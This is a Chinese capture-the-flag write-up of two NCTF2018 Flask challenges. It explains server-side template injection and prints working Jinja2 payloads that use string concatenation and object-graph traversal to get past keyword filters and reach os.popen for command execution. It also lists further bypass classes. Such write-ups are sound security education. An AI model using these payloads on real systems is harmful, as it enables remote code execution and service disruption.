简述
什么是SSTI
?
SSTI全称Server-Side-Template-Injection
,即服务端模版注入攻击。
攻击成因是服务端模版引擎将用户的输入直接渲染进模版,而未做过滤或者对象关系映射(ORM)
。
这样,攻击者可以控制渲染进模版的内容。通过直接输入模版渲染的关键词例如{{ }}
,即可将恶意代码注入模版中执行。最严重的后果是getshell。
现在有很多常见的模版渲染引擎,而最常用也最长出问题的Web框架就是基于Python的Flask
框架了。
具体SSTI的概念和成因分析此处不再赘述。
NCTF2018 两道Flask题WP
讲道理,看到Flask这个词,我就立刻想到了SSTI。
flask真香 WP
打开题目一看,是一个炫酷的demo演示。这种demo一般是没有啥东西好挖的。首先F12信息收集,发现Python版本是3.5.2,没有Web静态服务器。
随便点开第二个demo发现404了,这里注意到404界面是Flask提供的404界面,按照以往的经验,猜测这里存在SSTI注入。
尝试简单的payload: {{ 2 * 3 }}
{{ 2 + 3 }}
从这里可见,毫无疑问的存在SSTI漏洞了,并且+号在URL中被没有当成空格被解析,而是直接执行了。
那么就来康康到底有没有WAF,有的话被过滤了哪些。
使用{{ "keyword" }}
来测试waf,防止服务器爆500错误挂掉
经过一番测试,确实很多东西都被过滤了,而且是正则表达式直接匹配删去,无法嵌套绕过。不完整测试有以下:
- config
- class
- mro
- args
- request
- open
- eval
- builtins
- import
从这里来看,似乎已经完全无法下手了。因为request和class都被过滤掉了。
卡在这里以后,最好的办法就是去查Flask官方文档了。从Flask官方文档里,找到了session对象,经过测试没有被过滤。更巧的是,session一定是一个dict对象,因此我们可以通过键的方法访问相应的类。由于键是一个字符串,因此可以通过字符串拼接绕过。payload:{{ session['__cla'+'ss__'] }}
访问到了类,我们就可以通过__bases__
来获取基类的元组,带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到object
基类。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0] }}
有了对象基类,我们就可以通过访问__subclasses__
方法再实例化去访问所有子类。同样使用字符串拼接绕过WAF,这样就实现沙箱逃逸了。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'ss__']() }}
这里其实就有点坑了,因为内容实在太多了。而且据后面挖掘发现,索引序号还是不断在变的。
SSTI目的无非就是两个:文件读写、getshell。因此我们核心应该放在file类和os类。而更坑爹的是,Python3几乎换了个遍。因此这里得去看官方文档去找相应的基类的用处。
我还是从os库入手,找到了os._wrap_close
类,同样使用dict键访问的方法。猜大致范围得到了索引序号,我这里序号是312,payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312] }}
我们调用它的__init__
函数将其实例化,然后用__globals__
查看其全局变量。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__ }}
虽然眼睛又花了,但我们的目的很明显,就是要getshell,于是直接command+F搜索popen
就可以了。由于又是一个dict类型,我们调用的时候又可以使用字符串拼接,绕过open过滤。
后面顺理成章的,我们将命令字符串传入,实例化这个函数,然后直接调用read方法就可以了。根据经验,直接ls /
,果然flag就在根目录。然后cat /flag
就可以了。payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('ls /').read() }}
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read() }}
总结一下这个题,开始确实被Python3坑了一把,后来慢慢本地机测试加摸索,找到了点规律,才成功沙箱逃逸getshell。
(明天写Plus,睡了睡了狗命要紧)
Flask PLUS
看到又是Flask,后面又加了PLUS,想必内容肯定没变,应该是过滤内容增加了。
打开题目康康,果然还是demo,随便造一个404,还是那个界面。
直接拿上一道题的payload去找所有类,果然还是那么多。找到os._wrap_close
类,交一发上次的payload,结果炸了。
也就是说,这里更新了过滤的内容,需要bypass。
我们来探测一下这次又加了哪些过滤
__init__
file
__dict__
__builtins__
__import__
getattr
os
看起来GG了,很多方法被ban了之后,几乎无法访问到我们所需要的方法。
到这里,我们本地机测试一下,康康有哪些方法我们可以用的。
这里我们注意到了__enter__
方法,查看其内容,发现也有__globals__
方法可用,而且与__init__
一模一样。
这里摘抄下一段stack overflow的一段话
__init__
(allocation of the class)__enter__
(enter context)__exit__
(leaving context)
因此__enter__
仅仅访问类的内容,但这已经可以达到我们所需要的目的了。
构造payload:{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('ls /').read() }}
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read() }}
题目总结
第一道题属于标准操作,bases没有被过滤一切好说。第二道题看似没改什么,实际上为了第二道题我看了Python3官方文档看了整整一下午。原因很简单,对python不熟悉,尤其是这些底层的内容平时也用不到。但是好在看了一下午的Python官方文档也有些收获,也找到了更多bypass的思路。
更多Python SSTI bypass 姿势
接上面,从不断试验中,还找到了更多的bypass的方法和思路。
如何拿到object
基类就不再多说了,一些基础的bypass可以看这篇博客,这里有个很好的思路就是使用request对象绕过。但是对于本题而言,request被ban,也就不再多赘述了。
拿到object
基类之后,我们的核心就应该放在它的子类中有哪些类我们可以利用的。在这里我找到了不少确实可以拿来利用的子类。
<class '_frozen_importlib.BuiltinImporter'>
这个是内建包import工具,通过传入内建模块的字符串,我们可以将核心模块引入
有了os、io、sys模块,我们就能干很多的事了,
比如调用os模块里面system方法执行命令,调用popen方法执行命令获取内容,调用execl方法日死服务器,用listdir方法读取文件夹所包含文件。所以这里出现了我看到了flag文件却找不到办法读flag文件内容的尴尬局面。
(这里我误用了execl把docker给整崩了,对不起郁师傅了)
io模块就是各种流和open打开文件读取了,在本题里面因为过滤了open所以没有用。
sys模块似乎我也没有找到太多的用处(在本题里面)。
如果还有一些别的有用的内建模块,也可以用这种方法引入,最重要的是引入方式是字符串,只要load和module没有被ban,都可以通过拼接字符串的方法绕过waf。
<class 'urllib.request.URLopener'>
这个是urllib的模块,可以通过request.URLopener打开各种流,并获取返回的内容。
<class 'subprocess.Popen'>
这个看上去就非常明显了
可以通过这个类来执行子命令,获取返回值(不是执行结果),具体也不演示了。在这道题里面这个方法无效,因为不能反弹shell。
目前我挖掘出来的只有以上这些,估计flask框架本身应该也有一些类是可以挖掘的,以后找到了新的再加。
关于其他的bypass,最常用的可能就是使用__dict__
方法和getattr
系列去找可用的方法了。
总结
看了一下午的Python官方文档,好歹还是有收获的,比如execl(逃
虽然最后啥都没用上
题目不算难,但是bypass很开心
1 条评论